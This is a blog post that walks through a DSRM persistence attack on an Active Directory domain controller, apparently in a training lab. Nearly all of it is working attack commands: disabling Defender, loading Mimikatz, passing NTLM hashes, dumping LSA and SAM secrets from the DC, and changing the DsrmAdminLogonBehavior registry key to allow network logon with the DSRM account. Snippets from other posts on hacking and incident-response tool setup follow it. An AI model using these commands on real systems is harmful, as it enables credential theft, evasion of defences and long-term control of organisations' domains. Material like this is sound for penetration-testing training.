Skip to main content

Domain dominance, DSRM attack - Part 6

 

When dc needs to be rebooted in safe mode, then it requires dsrm password. How we can abuse this? If we have domain admin privilege then we can change the logon behavior of this particular user (not rid 500) and then remotely logon to the dc as as administrator. By default the dsrm administrator is not allowed to logon over the network onto the dc. Sometimes system administrators set the same password for both the account. In that case you just need to enable remote login for the dsrm administrator account.

So what is the persistent time? Its very very long even more than the golden ticket. Because it is created when domain controller is promoted and not change frequently. Unless this password is change, you have persistent access on the dc.

Now go to your studentadmin machine where you are local admin. Launch a powershell session with admin privs.

Disable defender:

Set-MpPreference -DisableRealtimeMonitoring $true

. C:\AD\Tools\Invoke-Mimikatz.ps1

Invoke-Mimikatz -Command '"sekurlsa::pth /user:svcadmin /domain:dollarcorp.moneycorp.local /ntlm:<domain admin ntlm hash> /run:powershell.exe"'

Now another powershell session will open with domain admin privs. 

On that session type below:

$sess = New-PSSession -ComputerName dcorp-dc.dollarcorp.moneycorp.local

Enter-PSSession -Session $sess

Bypass amsi and disable defender there i mean in dc machine. Then exit.

Invoke-Command -FilePath C:\AD\Tools\Invoke-Mimikatz.ps1 -Session $sess

Enter-PSSession -Session $sess (Mimikatz will be loaded on the memory of dc now)

Now you are in domain controller machine with the privs of domain admin.

Now you can type the below command:

Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName dcorp-dc.dollarcorp.moneycorp.local

or

Invoke-Mimikatz -Command '"lsadump::lsa /patch"'

Or you can follow this approach:

Now go to your studentadmin machine where you are local admin. Launch a powershell session with admin privs. 

Disable defender:

Set-MpPreference -DisableRealtimeMonitoring $true

. C:\AD\Tools\Invoke-Mimikatz.ps1

Invoke-Mimikatz -Command '"sekurlsa::pth /user:svcadmin /domain:dollarcorp.moneycorp.local /ntlm:<domain admin ntlm hash> /run:powershell.exe"'

Now another powershell session will open with domain admin privs.

From this shell type:

Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName dcorp-dc.dollarcorp.moneycorp.local

Both the above method will work just fine. The only difference is here we are not directly logging in to the dc.

Now from here you will get a local administrator account ntlm hash whose rid is 500. We are not talking about this user account. This is not DSRM user. DSRM user rid is also 500 but the hash is different. 

To get the DSRM user ntlm hash, from the same shell:

Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -ComputerName dcorp-dc.dollarcorp.moneycorp.local

Or if you are in the DC using Enter-PSSession command then type only below:

To get the DSRM user ntlm hash:

Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'

This is dsrm administrator account hash. Take the hash. 

Since it is local administrator to dc so we can pass the hash. But we need to change certain registry key value so that we can remotely log in using this dsrm administrator account. By default it is set to disabled. 

This is domain admin privs shell. So now log on to dc using Enter-PSSession or if you are already in dc using Enter-PSSession then type below:

Enter-PSSession -ComputerName dcorp-dc.dollarcorp.moneycorp.local

Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name DsrmAdminLogonBehavior -Value 2 -PropertyType DWORD -Verbose

or

Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name DsrmAdminLogonBehavior -Value 2

To view this:

Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\"

Now open a powershell using with the local administrator privilege from studentadmin machine. Then run the following command. 

Disable defender here.

Invoke-Mimikatz -Command '"sekurlsa::pth /domain:dcorp-dc /user:Administrator /ntlm:<ntlm hash of dsrm account>

A new powershell session will spawn up. 

ls \\dcorp-dc\c$

or

ls \\dcorp-dc.dollarcorp.moneycorp.local\c$

Enter-PSSession not works here because we are not forcing here kerberos authentication. 


Avi




Comments

Post a Comment

Popular posts from this blog

API hacking lab setup

 Follow the commands to install and configure API hacking lab: 1. Install kali linux and update all the packages.  apt update -y apt upgrade -y or apt dist-upgrade -y or apt full-upgrade -y If you face any problem regarding update, install cloud flare warp in the host machine, then again start updating packages in your kali vm.  2. Install and configure burpsuite professional.  After that open burpsuite and go to Extensions tab. Click on BAppStore. Search for Autorize extension, It will help us to automate authorization testing. Click on Download Jython from the right side. From Jython website click on Jython standalone JAR and save it. Go to Extensios > Extensions settings >  under Core extension settings find out Python environment on the right pane. Select the jython jar file that you just downloaded. Now again go to BAppStore and re-search for Autorize extension. You will see Install option this time after selecting Autorize extension. Install it. You ...
Post a Comment
Read more

Install Nessus from docker

Docker installation. Give the below commands one by one. apt install docker-cli or apt install docker.io After the installation is complete, if you are inside wsl then give this command to start docker, because inside wsl systemd (systemctl) does not work: service docker start WSL troubleshooting : If the above command " service docker start " does not work then use below command: dockerd (It may not work if any previous docker process is running. It will show you pid of that process. Use this command to kill that process " kill -9 pid " and run dockerd command again) If " docker ps -a " giving error like " Cannot connect to the Docker daemon at unix:///run/podman/podman.sock. Is the docker daemon running? " This is because you may installed podman-docker package. If you remove the package still you will get this error but you should remove the package. Then issue this command: env | grep -i docker DOCKER_HOST=unix:///run/podman/podman.sock   --...
Post a Comment
Read more

Installing kansa incident response tool

 Kansa is an IR framework. https://github.com/davehull/Kansa For enterprise data collection, you need to do this first from the admin system: Set-NetConnectionProfile -NetworkCategory Private (In private network) Enable-PSRemoting  from powershell on the system where you want to run this tool. This will enable winrm service with port 5985 and 5986. Check: netstat -naob | findstr "5985"   Also allow tcp port 5985 and 5986 for winrm through the network. You can use  GPO. Though winrm is communicating over http and https but authentication will be happened using kerberos in domain environment.  After downloading it  from the github and unzip it, you need to unlock it using powershell. Need powershell v3 or later. ls -r *.ps1 | Unblock-File Powershell policy bypass: Set-ExecutionPolicy AllSigned | RemoteSigned | Unrestricted From FOR508 course: .\kansa.ps1 -OutputPath .\Output\ -TargetList .\hostlist -TargetCount 250 -Verbose -Pushbin -Pushbin is requir...
Post a Comment
Read more